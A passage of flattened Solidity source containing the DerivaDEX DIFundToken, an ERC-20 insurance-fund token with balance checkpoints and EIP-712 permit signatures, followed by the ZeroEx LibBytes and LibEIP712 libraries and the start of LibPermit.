"openzeppelin-solidity/contracts/math/SafeMath.sol"; import { LibBytes } from "../libs/LibBytes.sol"; import { LibEIP712 } from "../libs/LibEIP712.sol"; import { LibPermit } from "../libs/LibPermit.sol"; import { SafeMath96 } from "../libs/SafeMath96.sol"; import { IInsuranceFund } from "../facets/interfaces/IInsuranceFund.sol"; /** * @title DIFundToken * @author DerivaDEX (Borrowed/inspired from Compound) * @notice This is the token contract for tokenized DerivaDEX insurance * fund positions. It implements the ERC-20 standard, with * additional functionality around snapshotting user and global * balances. * @dev The contract makes use of some nonstandard types not seen in * the ERC-20 standard. The DIFundToken makes frequent use of the * uint96 data type, as opposed to the more standard uint256 type. * Given the maintenance of arrays of balances and allowances, this * allows us to more efficiently pack data together, thereby * resulting in cheaper transactions. */ contract DIFundToken { using SafeMath96 for uint96; using SafeMath for uint256; using LibBytes for bytes; uint256 internal _totalSupply; string private _name; string private _symbol; string private _version; uint8 private _decimals; /// @notice Address authorized to issue/mint DDX tokens address public issuer; mapping(address => mapping(address => uint96)) internal allowances; mapping(address => uint96) internal balances; /// @notice A checkpoint for marking vote count from given block struct Checkpoint { uint32 id; uint96 values; } /// @notice A record of votes checkpoints for each account, by index mapping(address => mapping(uint256 => Checkpoint)) public checkpoints; /// @notice The number of checkpoints for each account mapping(address => uint256) public numCheckpoints; mapping(uint256 => Checkpoint) totalCheckpoints; uint256 numTotalCheckpoints; /// @notice A record of states for signing / validating signatures mapping(address => uint256) public nonces; /// @notice Emitted when a user account's balance changes event ValuesChanged(address indexed user, uint96 previousValue, uint96 newValue); /// @notice Emitted when a user account's balance changes event TotalValuesChanged(uint96 previousValue, uint96 newValue); /// @notice Emitted when transfer takes place event Transfer(address indexed from, address indexed to, uint256 amount); /// @notice Emitted when approval takes place event Approval(address indexed owner, address indexed spender, uint256 amount); /** * @notice Construct a new DIFundToken token */ constructor( string memory name, string memory symbol, uint8 decimals, address _issuer ) public { _name = name; _symbol = symbol; _decimals = decimals; _version = "1"; // Set issuer to deploying address issuer = _issuer; } /** * @notice Returns the name of the token. * @return Name of the token. */ function name() public view returns (string memory) { return _name; } /** * @notice Returns the symbol of the token. * @return Symbol of the token. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. * @return Number of decimals. */ function decimals() public view returns (uint8) { return _decimals; } /** * @notice Approve `spender` to transfer up to `amount` from `src` * @dev This will overwrite the approval amount for `spender` * and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve) * @param _spender The address of the account which may transfer tokens * @param _amount The number of tokens that are approved (2^256-1 means infinite) * @return Whether or not the approval succeeded */ function approve(address _spender, uint256 _amount) external returns (bool) { require(_spender != address(0), "DIFT: approve to the zero address."); // Convert amount to uint96 uint96 amount; if (_amount == uint256(-1)) { amount = uint96(-1); } else { amount = safe96(_amount, "DIFT: amount exceeds 96 bits."); } // Set allowance allowances[msg.sender][_spender] = amount; emit Approval(msg.sender, _spender, _amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * Emits an {Approval} event indicating the updated allowance. * Requirements: * - `spender` cannot be the zero address. */ function increaseAllowance(address _spender, uint256 _addedValue) external returns (bool) { require(_spender != address(0), "DIFT: approve to the zero address."); // Convert amount to uint96 uint96 amount; if (_addedValue == uint256(-1)) { amount = uint96(-1); } else { amount = safe96(_addedValue, "DIFT: amount exceeds 96 bits."); } // Increase allowance allowances[msg.sender][_spender] = allowances[msg.sender][_spender].add96(amount); emit Approval(msg.sender, _spender, allowances[msg.sender][_spender]); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * Emits an {Approval} event indicating the updated allowance. * Requirements: * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address _spender, uint256 _subtractedValue) external returns (bool) { require(_spender != address(0), "DIFT: approve to the zero address."); // Convert amount to uint96 uint96 amount; if (_subtractedValue == uint256(-1)) { amount = uint96(-1); } else { amount = safe96(_subtractedValue, "DIFT: amount exceeds 96 bits."); } // Decrease allowance allowances[msg.sender][_spender] = allowances[msg.sender][_spender].sub96( amount, "DIFT: decreased allowance below zero." ); emit Approval(msg.sender, _spender, allowances[msg.sender][_spender]); return true; } /** * @notice Get the number of tokens held by the `account` * @param _account The address of the account to get the balance of * @return The number of tokens held */ function balanceOf(address _account) external view returns (uint256) { return balances[_account]; } /** * @notice Transfer `amount` tokens from `msg.sender` to `dst` * @param _recipient The address of the destination account * @param _amount The number of tokens to transfer * @return Whether or not the transfer succeeded */ function transfer(address _recipient, uint256 _amount) external returns (bool) { // Convert amount to uint96 uint96 amount; if (_amount == uint256(-1)) { amount = uint96(-1); } else { amount = safe96(_amount, "DIFT: amount exceeds 96 bits."); } // Claim DDX rewards on behalf of the sender IInsuranceFund(issuer).claimDDXFromInsuranceMining(msg.sender); // Claim DDX rewards on behalf of the recipient IInsuranceFund(issuer).claimDDXFromInsuranceMining(_recipient); // Transfer tokens from sender to recipient _transferTokens(msg.sender, _recipient, amount); return true; } /** * @notice Transfer `amount` tokens from `src` to `dst` * @param _sender The address of the source account * @param _recipient The address of the destination account * @param _amount The number of tokens to transfer * @return Whether or not the transfer succeeded */ function transferFrom( address _sender, address _recipient, uint256 _amount ) external returns (bool) { uint96 spenderAllowance = allowances[_sender][msg.sender]; // Convert amount to uint96 uint96 amount; if (_amount == uint256(-1)) { amount = uint96(-1); } else { amount = safe96(_amount, "DIFT: amount exceeds 96 bits."); } if (msg.sender != _sender && spenderAllowance != uint96(-1)) { // Tx sender is not the same as transfer sender and doesn't // have unlimited allowance. // Reduce allowance by amount being transferred uint96 newAllowance = spenderAllowance.sub96(amount); allowances[_sender][msg.sender] = newAllowance; emit Approval(_sender, msg.sender, newAllowance); } // Claim DDX rewards on behalf of the sender IInsuranceFund(issuer).claimDDXFromInsuranceMining(_sender); // Claim DDX rewards on behalf of the recipient IInsuranceFund(issuer).claimDDXFromInsuranceMining(_recipient); // Transfer tokens from sender to recipient _transferTokens(_sender, _recipient, amount); return true; } /** * @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function mint(address _recipient, uint256 _amount) external { require(msg.sender == issuer, "DIFT: unauthorized mint."); // Convert amount to uint96 uint96 amount; if (_amount == uint256(-1)) { amount = uint96(-1); } else { amount = safe96(_amount, "DIFT: amount exceeds 96 bits."); } // Mint tokens to recipient _transferTokensMint(_recipient, amount); } /** * @dev Creates `amount` tokens and assigns them to `account`, decreasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function burn(uint256 _amount) external { // Convert amount to uint96 uint96 amount; if (_amount == uint256(-1)) { amount = uint96(-1); } else { amount = safe96(_amount, "DIFT: amount exceeds 96 bits."); } // Burn tokens from sender _transferTokensBurn(msg.sender, amount); } /** * @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function burnFrom(address _account, uint256 _amount) external { uint96 spenderAllowance = allowances[_account][msg.sender]; // Convert amount to uint96 uint96 amount; if (_amount == uint256(-1)) { amount = uint96(-1); } else { amount = safe96(_amount, "DIFT: amount exceeds 96 bits."); } if (msg.sender != _account && spenderAllowance != uint96(-1) && msg.sender != issuer) { // Tx sender is not the same as burn account and doesn't // have unlimited allowance. // Reduce allowance by amount being transferred uint96 newAllowance = spenderAllowance.sub96(amount, "DIFT: burn amount exceeds allowance."); allowances[_account][msg.sender] = newAllowance; emit Approval(_account, msg.sender, newAllowance); } // Burn tokens from account _transferTokensBurn(_account, amount); } /** * @notice Permits allowance from signatory to `spender` * @param _spender The spender being approved * @param _value The value being approved * @param _nonce The contract state required to match the signature * @param _expiry The time at which to expire the signature * @param _signature Signature */ function permit( address _spender, uint256 _value, uint256 _nonce, uint256 _expiry, bytes memory _signature ) external { // Perform EIP712 hashing logic bytes32 eip712OrderParamsDomainHash = LibEIP712.hashEIP712Domain(_name, _version, getChainId(), address(this)); bytes32 permitHash = LibPermit.getPermitHash( LibPermit.Permit({ spender: _spender, value: _value, nonce: _nonce, expiry: _expiry }), eip712OrderParamsDomainHash ); // Perform sig recovery uint8 v = uint8(_signature[0]); bytes32 r = _signature.readBytes32(1); bytes32 s = _signature.readBytes32(33); // EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature // unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines // the valid range for s in (281): 0 < s < secp256k1n ÷ 2 + 1, and for v in (282): v ∈ {27, 28}. Most // signatures from current libraries generate a unique signature with an s-value in the lower half order. // // If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value // with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or // vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept // these malleable signatures as well. if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) { revert("ECDSA: invalid signature 's' value"); } if (v != 27 && v != 28) { revert("ECDSA: invalid signature 'v' value"); } address recovered = ecrecover(permitHash, v, r, s); require(recovered != address(0), "DIFT: invalid signature."); require(_nonce == nonces[recovered]++, "DIFT: invalid nonce."); require(block.timestamp <= _expiry, "DIFT: signature expired."); // Convert amount to uint96 uint96 amount; if (_value == uint256(-1)) { amount = uint96(-1); } else { amount = safe96(_value, "DIFT: amount exceeds 96 bits."); } // Set allowance allowances[recovered][_spender] = amount; emit Approval(recovered, _spender, _value); } /** * @notice Get the number of tokens `spender` is approved to spend on behalf of `account` * @param _account The address of the account holding the funds * @param _spender The address of the account spending the funds * @return The number of tokens approved */ function allowance(address _account, address _spender) external view returns (uint256) { return allowances[_account][_spender]; } /** * @notice Get the total max supply of DDX tokens * @return The total max supply of DDX */ function totalSupply() external view returns (uint256) { return _totalSupply; } /** * @notice Determine the prior number of values for an account as of a block number * @dev Block number must be a finalized block or else this function will revert to prevent misinformation. * @param _account The address of the account to check * @param _blockNumber The block number to get the vote balance at * @return The number of values the account had as of the given block */ function getPriorValues(address _account, uint256 _blockNumber) external view returns (uint96) { require(_blockNumber < block.number, "DIFT: block not yet determined."); uint256 numCheckpointsAccount = numCheckpoints[_account]; if (numCheckpointsAccount == 0) { return 0; } // First check most recent balance if (checkpoints[_account][numCheckpointsAccount - 1].id <= _blockNumber) { return checkpoints[_account][numCheckpointsAccount - 1].values; } // Next check implicit zero balance if (checkpoints[_account][0].id > _blockNumber) { return 0; } // Perform binary search to find the most recent token holdings uint256 lower = 0; uint256 upper = numCheckpointsAccount - 1; while (upper > lower) { // ceil, avoiding overflow uint256 center = upper - (upper - lower) / 2; Checkpoint memory cp = checkpoints[_account][center]; if (cp.id == _blockNumber) { return cp.values; } else if (cp.id < _blockNumber) { lower = center; } else { upper = center - 1; } } return checkpoints[_account][lower].values; } /** * @notice Determine the prior number of values for an account as of a block number * @dev Block number must be a finalized block or else this function will revert to prevent misinformation. * @param _blockNumber The block number to get the vote balance at * @return The number of values the account had as of the given block */ function getTotalPriorValues(uint256 _blockNumber) external view returns (uint96) { require(_blockNumber < block.number, "DIFT: block not yet determined."); if (numTotalCheckpoints == 0) { return 0; } // First check most recent balance if (totalCheckpoints[numTotalCheckpoints - 1].id <= _blockNumber) { return totalCheckpoints[numTotalCheckpoints - 1].values; } // Next check implicit zero balance if (totalCheckpoints[0].id > _blockNumber) { return 0; } // Perform binary search to find the most recent token holdings // leading to a measure of voting power uint256 lower = 0; uint256 upper = numTotalCheckpoints - 1; while (upper > lower) { // ceil, avoiding overflow uint256 center = upper - (upper - lower) / 2; Checkpoint memory cp = totalCheckpoints[center]; if (cp.id == _blockNumber) { return cp.values; } else if (cp.id < _blockNumber) { lower = center; } else { upper = center - 1; } } return totalCheckpoints[lower].values; } function _transferTokens( address _spender, address _recipient, uint96 _amount ) internal { require(_spender != address(0), "DIFT: cannot transfer from the zero address."); require(_recipient != address(0), "DIFT: cannot transfer to the zero address."); // Reduce spender's balance and increase recipient balance balances[_spender] = balances[_spender].sub96(_amount); balances[_recipient] = balances[_recipient].add96(_amount); emit Transfer(_spender, _recipient, _amount); // Move values from spender to recipient _moveTokens(_spender, _recipient, _amount); } function _transferTokensMint(address _recipient, uint96 _amount) internal { require(_recipient != address(0), "DIFT: cannot transfer to the zero address."); // Add to recipient's balance balances[_recipient] = balances[_recipient].add96(_amount); _totalSupply = _totalSupply.add(_amount); emit Transfer(address(0), _recipient, _amount); // Add value to recipient's checkpoint _moveTokens(address(0), _recipient, _amount); _writeTotalCheckpoint(_amount, true); } function _transferTokensBurn(address _spender, uint96 _amount) internal { require(_spender != address(0), "DIFT: cannot transfer from the zero address."); // Reduce the spender/burner's balance balances[_spender] = balances[_spender].sub96(_amount, "DIFT: not enough balance to burn."); // Reduce the circulating supply _totalSupply = _totalSupply.sub(_amount); emit Transfer(_spender, address(0), _amount); // Reduce value from spender's checkpoint _moveTokens(_spender, address(0), _amount); _writeTotalCheckpoint(_amount, false); } function _moveTokens( address _initUser, address _finUser, uint96 _amount ) internal { if (_initUser != _finUser && _amount > 0) { // Initial user address is different than final // user address and nonzero number of values moved if (_initUser != address(0)) { uint256 initUserNum = numCheckpoints[_initUser]; // Retrieve and compute the old and new initial user // address' values uint96 initUserOld = initUserNum > 0 ? checkpoints[_initUser][initUserNum - 1].values : 0; uint96 initUserNew = initUserOld.sub96(_amount); _writeCheckpoint(_initUser, initUserOld, initUserNew); } if (_finUser != address(0)) { uint256 finUserNum = numCheckpoints[_finUser]; // Retrieve and compute the old and new final user // address' values uint96 finUserOld = finUserNum > 0 ? checkpoints[_finUser][finUserNum - 1].values : 0; uint96 finUserNew = finUserOld.add96(_amount); _writeCheckpoint(_finUser, finUserOld, finUserNew); } } } function _writeCheckpoint( address _user, uint96 _oldValues, uint96 _newValues ) internal { uint32 blockNumber = safe32(block.number, "DIFT: exceeds 32 bits."); uint256 userNum = numCheckpoints[_user]; if (userNum > 0 && checkpoints[_user][userNum - 1].id == blockNumber) { // If latest checkpoint is current block, edit in place checkpoints[_user][userNum - 1].values = _newValues; } else { // Create a new id, value pair checkpoints[_user][userNum] = Checkpoint({ id: blockNumber, values: _newValues }); numCheckpoints[_user] = userNum.add(1); } emit ValuesChanged(_user, _oldValues, _newValues); } function _writeTotalCheckpoint(uint96 _amount, bool increase) internal { if (_amount > 0) { uint32 blockNumber = safe32(block.number, "DIFT: exceeds 32 bits."); uint96 oldValues = numTotalCheckpoints > 0 ? totalCheckpoints[numTotalCheckpoints - 1].values : 0; uint96 newValues = increase ? oldValues.add96(_amount) : oldValues.sub96(_amount); if (numTotalCheckpoints > 0 && totalCheckpoints[numTotalCheckpoints - 1].id == block.number) { // If latest checkpoint is current block, edit in place totalCheckpoints[numTotalCheckpoints - 1].values = newValues; } else { // Create a new id, value pair totalCheckpoints[numTotalCheckpoints].id = blockNumber; totalCheckpoints[numTotalCheckpoints].values = newValues; numTotalCheckpoints = numTotalCheckpoints.add(1); } emit TotalValuesChanged(oldValues, newValues); } } function safe32(uint256 n, string memory errorMessage) internal pure returns (uint32) { require(n < 2**32, errorMessage); return uint32(n); } function safe96(uint256 n, string memory errorMessage) internal pure returns (uint96) { require(n < 2**96, errorMessage); return uint96(n); } function getChainId() internal pure returns (uint256) { uint256 chainId; assembly { chainId := chainid() } return chainId; } } // SPDX-License-Identifier: MIT /* Copyright 2018 ZeroEx Intl. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ pragma solidity 0.6.12; library LibBytes { using LibBytes for bytes; /// @dev Gets the memory address for a byte array. /// @param input Byte array to lookup. /// @return memoryAddress Memory address of byte array. This /// points to the header of the byte array which contains /// the length. function rawAddress(bytes memory input) internal pure returns (uint256 memoryAddress) { assembly { memoryAddress := input } return memoryAddress; } /// @dev Gets the memory address for the contents of a byte array. /// @param input Byte array to lookup. /// @return memoryAddress Memory address of the contents of the byte array. function contentAddress(bytes memory input) internal pure returns (uint256 memoryAddress) { assembly { memoryAddress := add(input, 32) } return memoryAddress; } /// @dev Copies `length` bytes from memory location `source` to `dest`. /// @param dest memory address to copy bytes to. /// @param source memory address to copy bytes from. /// @param length number of bytes to copy. function memCopy( uint256 dest, uint256 source, uint256 length ) internal pure { if (length < 32) { // Handle a partial word by reading destination and masking // off the bits we are interested in. // This correctly handles overlap, zero lengths and source == dest assembly { let mask := sub(exp(256, sub(32, length)), 1) let s := and(mload(source), not(mask)) let d := and(mload(dest), mask) mstore(dest, or(s, d)) } } else { // Skip the O(length) loop when source == dest. if (source == dest) { return; } // For large copies we copy whole words at a time. The final // word is aligned to the end of the range (instead of after the // previous) to handle partial words. So a copy will look like this: // // #### // #### // #### // #### // // We handle overlap in the source and destination range by // changing the copying direction. This prevents us from // overwriting parts of source that we still need to copy. // // This correctly handles source == dest // if (source > dest) { assembly { // We subtract 32 from `sEnd` and `dEnd` because it // is easier to compare with in the loop, and these // are also the addresses we need for copying the // last bytes. length := sub(length, 32) let sEnd := add(source, length) let dEnd := add(dest, length) // Remember the last 32 bytes of source // This needs to be done here and not after the loop // because we may have overwritten the last bytes in // source already due to overlap. let last := mload(sEnd) // Copy whole words front to back // Note: the first check is always true, // this could have been a do-while loop. // solhint-disable-next-line no-empty-blocks for { } lt(source, sEnd) { } { mstore(dest, mload(source)) source := add(source, 32) dest := add(dest, 32) } // Write the last 32 bytes mstore(dEnd, last) } } else { assembly { // We subtract 32 from `sEnd` and `dEnd` because those // are the starting points when copying a word at the end. length := sub(length, 32) let sEnd := add(source, length) let dEnd := add(dest, length) // Remember the first 32 bytes of source // This needs to be done here and not after the loop // because we may have overwritten the first bytes in // source already due to overlap. let first := mload(source) // Copy whole words back to front // We use a signed comparisson here to allow dEnd to become // negative (happens when source and dest < 32). Valid // addresses in local memory will never be larger than // 2**255, so they can be safely re-interpreted as signed. // Note: the first check is always true, // this could have been a do-while loop. // solhint-disable-next-line no-empty-blocks for { } slt(dest, dEnd) { } { mstore(dEnd, mload(sEnd)) sEnd := sub(sEnd, 32) dEnd := sub(dEnd, 32) } // Write the first 32 bytes mstore(dest, first) } } } } /// @dev Returns a slices from a byte array. /// @param b The byte array to take a slice from. /// @param from The starting index for the slice (inclusive). /// @param to The final index for the slice (exclusive). /// @return result The slice containing bytes at indices [from, to) function slice( bytes memory b, uint256 from, uint256 to ) internal pure returns (bytes memory result) { require(from <= to, "FROM_LESS_THAN_TO_REQUIRED"); require(to <= b.length, "TO_LESS_THAN_LENGTH_REQUIRED"); // Create a new bytes structure and copy contents result = new bytes(to - from); memCopy(result.contentAddress(), b.contentAddress() + from, result.length); return result; } /// @dev Returns a slice from a byte array without preserving the input. /// @param b The byte array to take a slice from. Will be destroyed in the process. /// @param from The starting index for the slice (inclusive). /// @param to The final index for the slice (exclusive). /// @return result The slice containing bytes at indices [from, to) /// @dev When `from == 0`, the original array will match the slice. In other cases its state will be corrupted. function sliceDestructive( bytes memory b, uint256 from, uint256 to ) internal pure returns (bytes memory result) { require(from <= to, "FROM_LESS_THAN_TO_REQUIRED"); require(to <= b.length, "TO_LESS_THAN_LENGTH_REQUIRED"); // Create a new bytes structure around [from, to) in-place. assembly { result := add(b, from) mstore(result, sub(to, from)) } return result; } /// @dev Pops the last byte off of a byte array by modifying its length. /// @param b Byte array that will be modified. /// @return result The byte that was popped off. function popLastByte(bytes memory b) internal pure returns (bytes1 result) { require(b.length > 0, "GREATER_THAN_ZERO_LENGTH_REQUIRED"); // Store last byte. result = b[b.length - 1]; assembly { // Decrement length of byte array. let newLen := sub(mload(b), 1) mstore(b, newLen) } return result; } /// @dev Pops the last 20 bytes off of a byte array by modifying its length. /// @param b Byte array that will be modified. /// @return result The 20 byte address that was popped off. function popLast20Bytes(bytes memory b) internal pure returns (address result) { require(b.length >= 20, "GREATER_OR_EQUAL_TO_20_LENGTH_REQUIRED"); // Store last 20 bytes. result = readAddress(b, b.length - 20); assembly { // Subtract 20 from byte array length. let newLen := sub(mload(b), 20) mstore(b, newLen) } return result; } /// @dev Tests equality of two byte arrays. /// @param lhs First byte array to compare. /// @param rhs Second byte array to compare. /// @return equal True if arrays are the same. False otherwise. function equals(bytes memory lhs, bytes memory rhs) internal pure returns (bool equal) { // Keccak gas cost is 30 + numWords * 6. This is a cheap way to compare. // We early exit on unequal lengths, but keccak would also correctly // handle this. return lhs.length == rhs.length && keccak256(lhs) == keccak256(rhs); } /// @dev Reads an address from a position in a byte array. /// @param b Byte array containing an address. /// @param index Index in byte array of address. /// @return result address from byte array. function readAddress(bytes memory b, uint256 index) internal pure returns (address result) { require( b.length >= index + 20, // 20 is length of address "GREATER_OR_EQUAL_TO_20_LENGTH_REQUIRED" ); // Add offset to index: // 1. Arrays are prefixed by 32-byte length parameter (add 32 to index) // 2. Account for size difference between address length and 32-byte storage word (subtract 12 from index) index += 20; // Read address from array memory assembly { // 1. Add index to address of bytes array // 2. Load 32-byte word from memory // 3. Apply 20-byte mask to obtain address result := and(mload(add(b, index)), 0xffffffffffffffffffffffffffffffffffffffff) } return result; } /// @dev Writes an address into a specific position in a byte array. /// @param b Byte array to insert address into. /// @param index Index in byte array of address. /// @param input Address to put into byte array. function writeAddress( bytes memory b, uint256 index, address input ) internal pure { require( b.length >= index + 20, // 20 is length of address "GREATER_OR_EQUAL_TO_20_LENGTH_REQUIRED" ); // Add offset to index: // 1. Arrays are prefixed by 32-byte length parameter (add 32 to index) // 2. Account for size difference between address length and 32-byte storage word (subtract 12 from index) index += 20; // Store address into array memory assembly { // The address occupies 20 bytes and mstore stores 32 bytes. // First fetch the 32-byte word where we'll be storing the address, then // apply a mask so we have only the bytes in the word that the address will not occupy. // Then combine these bytes with the address and store the 32 bytes back to memory with mstore. // 1. Add index to address of bytes array // 2. Load 32-byte word from memory // 3. Apply 12-byte mask to obtain extra bytes occupying word of memory where we'll store the address let neighbors := and( mload(add(b, index)), 0xffffffffffffffffffffffff0000000000000000000000000000000000000000 ) // Make sure input address is clean. // (Solidity does not guarantee this) input := and(input, 0xffffffffffffffffffffffffffffffffffffffff) // Store the neighbors and address into memory mstore(add(b, index), xor(input, neighbors)) } } /// @dev Reads a bytes32 value from a position in a byte array. /// @param b Byte array containing a bytes32 value. /// @param index Index in byte array of bytes32 value. /// @return result bytes32 value from byte array. function readBytes32(bytes memory b, uint256 index) internal pure returns (bytes32 result) { require(b.length >= index + 32, "GREATER_OR_EQUAL_TO_32_LENGTH_REQUIRED"); // Arrays are prefixed by a 256 bit length parameter index += 32; // Read the bytes32 from array memory assembly { result := mload(add(b, index)) } return result; } /// @dev Writes a bytes32 into a specific position in a byte array. /// @param b Byte array to insert <input> into. /// @param index Index in byte array of <input>. /// @param input bytes32 to put into byte array. function writeBytes32( bytes memory b, uint256 index, bytes32 input ) internal pure { require(b.length >= index + 32, "GREATER_OR_EQUAL_TO_32_LENGTH_REQUIRED"); // Arrays are prefixed by a 256 bit length parameter index += 32; // Read the bytes32 from array memory assembly { mstore(add(b, index), input) } } /// @dev Reads a uint256 value from a position in a byte array. /// @param b Byte array containing a uint256 value. /// @param index Index in byte array of uint256 value. /// @return result uint256 value from byte array. function readUint256(bytes memory b, uint256 index) internal pure returns (uint256 result) { result = uint256(readBytes32(b, index)); return result; } /// @dev Writes a uint256 into a specific position in a byte array. /// @param b Byte array to insert <input> into. /// @param index Index in byte array of <input>. /// @param input uint256 to put into byte array. function writeUint256( bytes memory b, uint256 index, uint256 input ) internal pure { writeBytes32(b, index, bytes32(input)); } /// @dev Reads an unpadded bytes4 value from a position in a byte array. /// @param b Byte array containing a bytes4 value. /// @param index Index in byte array of bytes4 value. /// @return result bytes4 value from byte array. function readBytes4(bytes memory b, uint256 index) internal pure returns (bytes4 result) { require(b.length >= index + 4, "GREATER_OR_EQUAL_TO_4_LENGTH_REQUIRED"); // Arrays are prefixed by a 32 byte length field index += 32; // Read the bytes4 from array memory assembly { result := mload(add(b, index)) // Solidity does not require us to clean the trailing bytes. // We do it anyway result := and(result, 0xFFFFFFFF00000000000000000000000000000000000000000000000000000000) } return result; } /// @dev Reads nested bytes from a specific position. /// @dev NOTE: the returned value overlaps with the input value. /// Both should be treated as immutable. /// @param b Byte array containing nested bytes. /// @param index Index of nested bytes. /// @return result Nested bytes. function readBytesWithLength(bytes memory b, uint256 index) internal pure returns (bytes memory result) { // Read length of nested bytes uint256 nestedBytesLength = readUint256(b, index); index += 32; // Assert length of <b> is valid, given // length of nested bytes require(b.length >= index + nestedBytesLength, "GREATER_OR_EQUAL_TO_NESTED_BYTES_LENGTH_REQUIRED"); // Return a pointer to the byte array as it exists inside `b` assembly { result := add(b, index) } return result; } /// @dev Inserts bytes at a specific position in a byte array. /// @param b Byte array to insert <input> into. /// @param index Index in byte array of <input>. /// @param input bytes to insert. function writeBytesWithLength( bytes memory b, uint256 index, bytes memory input ) internal pure { // Assert length of <b> is valid, given // length of input require( b.length >= index + 32 + input.length, // 32 bytes to store length "GREATER_OR_EQUAL_TO_NESTED_BYTES_LENGTH_REQUIRED" ); // Copy <input> into <b> memCopy( b.contentAddress() + index, input.rawAddress(), // includes length of <input> input.length + 32 // +32 bytes to store <input> length ); } /// @dev Performs a deep copy of a byte array onto another byte array of greater than or equal length. /// @param dest Byte array that will be overwritten with source bytes. /// @param source Byte array to copy onto dest bytes. function deepCopyBytes(bytes memory dest, bytes memory source) internal pure { uint256 sourceLen = source.length; // Dest length must be >= source length, or some bytes would not be copied. require(dest.length >= sourceLen, "GREATER_OR_EQUAL_TO_SOURCE_BYTES_LENGTH_REQUIRED"); memCopy(dest.contentAddress(), source.contentAddress(), sourceLen); } } // SPDX-License-Identifier: MIT /* Copyright 2019 ZeroEx Intl. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ pragma solidity 0.6.12; library LibEIP712 { // Hash of the EIP712 Domain Separator Schema // keccak256(abi.encodePacked( // "EIP712Domain(", // "string name,", // "string version,", // "uint256 chainId,", // "address verifyingContract", // ")" // )) bytes32 internal constant _EIP712_DOMAIN_SEPARATOR_SCHEMA_HASH = 0x8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f; /// @dev Calculates a EIP712 domain separator. /// @param name The EIP712 domain name. /// @param version The EIP712 domain version. /// @param verifyingContract The EIP712 verifying contract. /// @return result EIP712 domain separator. function hashEIP712Domain( string memory name, string memory version, uint256 chainId, address verifyingContract ) internal pure returns (bytes32 result) { bytes32 schemaHash = _EIP712_DOMAIN_SEPARATOR_SCHEMA_HASH; // Assembly for more efficient computing: // keccak256(abi.encodePacked( // _EIP712_DOMAIN_SEPARATOR_SCHEMA_HASH, // keccak256(bytes(name)), // keccak256(bytes(version)), // chainId, // uint256(verifyingContract) // )) assembly { // Calculate hashes of dynamic data let nameHash := keccak256(add(name, 32), mload(name)) let versionHash := keccak256(add(version, 32), mload(version)) // Load free memory pointer let memPtr := mload(64) // Store params in memory mstore(memPtr, schemaHash) mstore(add(memPtr, 32), nameHash) mstore(add(memPtr, 64), versionHash) mstore(add(memPtr, 96), chainId) mstore(add(memPtr, 128), verifyingContract) // Compute hash result := keccak256(memPtr, 160) } return result; } /// @dev Calculates EIP712 encoding for a hash struct with a given domain hash. /// @param eip712DomainHash Hash of the domain domain separator data, computed /// with getDomainHash(). /// @param hashStruct The EIP712 hash struct. /// @return result EIP712 hash applied to the given EIP712 Domain. function hashEIP712Message(bytes32 eip712DomainHash, bytes32 hashStruct) internal pure returns (bytes32 result) { // Assembly for more efficient computing: // keccak256(abi.encodePacked( // EIP191_HEADER, // EIP712_DOMAIN_HASH, // hashStruct // )); assembly { // Load free memory pointer let memPtr := mload(64) mstore(memPtr, 0x1901000000000000000000000000000000000000000000000000000000000000) // EIP191 header mstore(add(memPtr, 2), eip712DomainHash) // EIP712 domain hash mstore(add(memPtr, 34), hashStruct) // Hash of struct // Compute hash result := keccak256(memPtr, 66) } return result; } } // SPDX-License-Identifier: MIT /* Copyright 2018 ZeroEx Intl. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ pragma solidity 0.6.12; import { LibEIP712 } from "./LibEIP712.sol"; library LibPermit { struct Permit { address spender; // Spender uint256 value; // Value uint256 nonce; // 